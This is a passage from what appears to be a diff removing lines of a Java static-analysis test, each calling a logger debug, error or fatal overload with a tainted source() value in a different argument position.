(Object) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Supplier) null); - logger.debug((Marker) null, (String) null, (Supplier) source()); - logger.debug((Marker) null, (String) source(), (Throwable) null); - logger.debug((Marker) null, (Supplier) source()); - logger.debug((Marker) null, (Supplier) source(), (Throwable) null); - logger.debug((MessageSupplier) source()); - logger.debug((MessageSupplier) source(), (Throwable) null); - logger.debug((Message) source()); - logger.debug((Message) source(), (Throwable) null); - logger.debug(source()); - logger.debug(source(), (Throwable) null); - logger.debug((String) source()); - logger.debug((String) source(), (Object[]) null); - logger.debug((String) null, new Object[] {source()}); - logger.debug((String) null, (Object) source()); - logger.debug((String) source(), (Object) null); - logger.debug((String) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) source(), (Object) null); - logger.debug((String) source(), (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) null, (Object) source(), (Object) null); - logger.debug((String) null, (Object) source(), (Object) null, (Object) null); - logger.debug((String) source(), (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((String) source(), (Supplier) null); - logger.debug((String) null, (Supplier) source()); - logger.debug((String) source(), (Throwable) null); - logger.debug((Supplier) source()); - logger.debug((Supplier) source(), (Throwable) null); - logger.error((CharSequence) source()); - logger.error((CharSequence) source(), (Throwable) null); - logger.error((Marker) null, (CharSequence) source()); - logger.error((Marker) null, (CharSequence) source(), null); - logger.error((Marker) null, (Message) source()); - logger.error((Marker) null, (MessageSupplier) source()); - logger.error((Marker) null, (MessageSupplier) source(), null); - logger.error((Marker) null, source()); - logger.error((Marker) null, (String) source()); - logger.error((Marker) null, (String) source(), new Object[] {}); - logger.error((Marker) null, (String) null, new Object[] {source()}); - logger.error((Marker) null, (String) null, (Object) source()); - logger.error((Marker) null, (String) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((Marker) null, (String) source(), (Supplier) null); - logger.error((Marker) null, (String) null, (Supplier) source()); - logger.error((Marker) null, (String) source(), (Throwable) null); - logger.error((Marker) null, (Supplier) source()); - logger.error((Marker) null, (Supplier) source(), (Throwable) null); - logger.error((MessageSupplier) source()); - logger.error((MessageSupplier) source(), (Throwable) null); - logger.error((Message) source()); - logger.error((Message) source(), (Throwable) null); - logger.error(source()); - logger.error(source(), (Throwable) null); - logger.error((String) source()); - logger.error((String) source(), (Object[]) null); - logger.error((String) null, new Object[] {source()}); - logger.error((String) null, (Object) source()); - logger.error((String) source(), (Object) null); - logger.error((String) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) source(), (Object) null); - logger.error((String) source(), (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) null, (Object) source(), (Object) null); - logger.error((String) null, (Object) source(), (Object) null, (Object) null); - logger.error((String) source(), (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.error((String) source(), (Supplier) null); - logger.error((String) null, (Supplier) source()); - logger.error((String) source(), (Throwable) null); - logger.error((Supplier) source()); - logger.error((Supplier) source(), (Throwable) null); - logger.fatal((CharSequence) source()); - logger.fatal((CharSequence) source(), (Throwable) null); - logger.fatal((Marker) null, (CharSequence) source()); - logger.fatal((Marker) null, (CharSequence) source(), null); - logger.fatal((Marker) null, (Message) source()); - logger.fatal((Marker) null, (MessageSupplier) source()); - logger.fatal((Marker) null, (MessageSupplier) source(), null); - logger.fatal((Marker) null, source()); - logger.fatal((Marker) null, (String) source()); - logger.fatal((Marker) null, (String) source(), new Object[] {}); - logger.fatal((Marker) null, (String) null, new Object[] {source()}); - logger.fatal((Marker) null, (String) null, (Object) source()); - logger.fatal((Marker) null, (String) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((Marker) null, (String) source(), (Supplier) null); - logger.fatal((Marker) null, (String) null, (Supplier) source()); - logger.fatal((Marker) null, (String) source(), (Throwable) null); - logger.fatal((Marker) null, (Supplier) source()); - logger.fatal((Marker) null, (Supplier) source(), (Throwable) null); - logger.fatal((MessageSupplier) source()); - logger.fatal((MessageSupplier) source(), (Throwable) null); - logger.fatal((Message) source()); - logger.fatal((Message) source(), (Throwable) null); - logger.fatal(source()); - logger.fatal(source(), (Throwable) null); - logger.fatal((String) source()); - logger.fatal((String) source(), (Object[]) null); - logger.fatal((String) null, new Object[] {source()}); - logger.fatal((String) null, (Object) source()); - logger.fatal((String) source(), (Object) null); - logger.fatal((String) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) source(), (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((String) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) 